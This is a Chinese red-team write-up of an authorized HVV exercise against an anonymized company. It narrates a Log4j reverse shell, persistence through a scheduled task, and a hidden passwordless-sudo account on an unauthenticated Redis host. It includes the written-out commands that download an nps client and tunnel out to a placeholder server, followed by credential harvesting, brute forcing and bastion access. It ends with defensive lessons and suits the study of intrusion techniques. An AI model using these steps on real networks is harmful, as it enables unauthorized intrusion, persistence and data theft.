紅隊實戰 | Log4j打點后與管理員斗智斗勇
概述
這是本系列第三篇文章,依舊是某省HVV紅隊的經歷。
過程中只用到很簡單的方法,所以加了個標題“有手就行”。
這家企業在內網犯了幾乎所有能犯的錯誤,打起來也比較順利,只不過當時被管理員發現了,爭分奪秒的過程也比較有趣哈哈。
文中內容已做脫敏處理,滲透過程已獲得授權, 相關漏洞也已經修復。
所介紹方法請勿用于非法用途!轉載請注明出處謝謝。
信息收集
先摸一下這個公司的資產,就用example.com代替域名好了。
發現技術棧比較新,大部分都是前后端分離的,后端的接口有一個統一的網關,梳理下。
列舉部分: 前端:https://op.example.com/login 手機或賬號登錄 可找回密碼 沒找到 接口:https://webapi.example.com:20860/gateway-dev/usercenter/ 前端:http://chm.example.com/login 接口:http://webapi.example.com:20860/chm/ 前端:https://oa.example.com/auth/login 爆不出來 接口:http://api.example.com:20242/gateway/organization-center/ 前端:https://test.example.com/auth/login 跟oa的界面很像 接口:http://api.example.com:20242/gateway-test/organization-center/ 前端:http://cms.example.com/login 失效了 接口:https://api.example.com:20242/authTest/login 前端:https://vm.example.com/login 接口:https://api.example.com:21915/login
Log4j進入內網
其他曲折的打點就不提了,說下成功的。
發現 https://oa.example.com/ 的登錄接口存在Log4j漏洞,使用https://github.com/WhiteHSBG/JNDIExploit 的反序列化方法直接反彈shell。
主機上沒有EDR,出網(廢話),是10段的普通用戶。
進來先寫個計劃任務保證斷了之后shell還能彈。

內網橫向
第一階段
內網橫向肯定得fscan出場了,這里也推薦下我寫的縫合怪,求Star! https://github.com/u21h2/nacs (能掃常見組件和字段的Log4j)。
一般剛開始就掃個C段就行了,好巧不巧,發現了我最喜歡的Redis未授權,進去發現還是root用戶,但是不出網。
這種情況我一般會創建一個sudo免密的新用戶,就adduser然后visudo就可以了,用戶名字起地別太假。
然后在出網的機器用nps搭一個隧道出來,服務端提前配好,客戶端就三句話的事。
wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz tar -zxvf linux_amd64_client.tar.gz nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &
然后在本地proxifier走這個socks代理,ssh我們創建的用戶,這樣體驗就好一些,反彈shell太難用了。
第二階段
然后繼續內網掃描,首先用掃描器的icmp模塊看看內網有多大,然后再掃。
內網不大,就兩個C段資產比較多。
我一般習慣先拿非web資產,最后再看web資產。
首先把所有的redis未授權和弱口令都利用了,一共拿到大約12臺機器,然后進去翻web服務的配置文件,把數據庫密碼找到,發現幾個經常用的強口令,補充到掃描器里接著爆掃數據庫和服務器。
被發現
搞到一半突然發現代理斷了,shell也彈不過來了,看了下入口的oa界面,后面的接口直接不通了,應該是oa后端對應的服務器直接關機了。難道是檢測到出網流量了?
這不完犢子了嗎。
再打個口子
回過頭看上邊信息收集的資產,test.example.com的界面跟oa很像,而且后端的接口也很像,會不會...?
果然,也有Log4j漏洞,也是普通用戶,是另一臺機器。

看了下我剛開始redis的跳板還沒掉,應該就是出網流量被檢測到了。
是HVV最后一天了,資產也不多,不管那么多了。
多找些機器開socks代理接著打。
繼續橫向
接著來看web服務,發現有很多nacos的服務,都有身份繞過的洞,進去又找到一堆數據庫和AK的配置,接著補充到漏掃進行爆破。
還發現了許多生產系統都是弱口令,除了默認口令就是123456和admin123。
比如




還有Flink、Sentinel等等。
又掉了
ssh上去的redis機器又沒了,但是代理還有通的,換一臺機器接著用就是了。
LDAP
在內網又發現一個LDAP服務的管理端,管控著jira、jenkins等服務。

這玩意應該有一個接口能直接跳轉登錄吧?可惜我不會,但好在了里面寫了能解密的密碼,我們可以手動登相關系統。

解密后登錄堡壘機

幾十臺機器都能連
Jira 可以看到開發過程以及代碼

爆破結果
根據之前補充的密碼,又爆破到不少新的數據庫和服務器,基本兩個C段的資產都拿到了吧,算作打穿了。
還拿到一些AK,能連上OSS看數據,危險啊。

思考
我邊打,管理員邊關機,還是挺有趣的哈哈。
1.攻:因為是最后一天了,急著刷分交報告,就沒有做太多隱藏的手段,導致被管理員發現好多次,不太優雅。
2.防:既然能發現我,說明是有安全設備的,但應該只開了告警,沒開阻斷模式;只能等管理員上線手動處理,從防守上就被動了。
3.防:這個公司內網犯了挺多錯的:密碼復用、弱口令、漏洞不修、不隔離、服務器出網。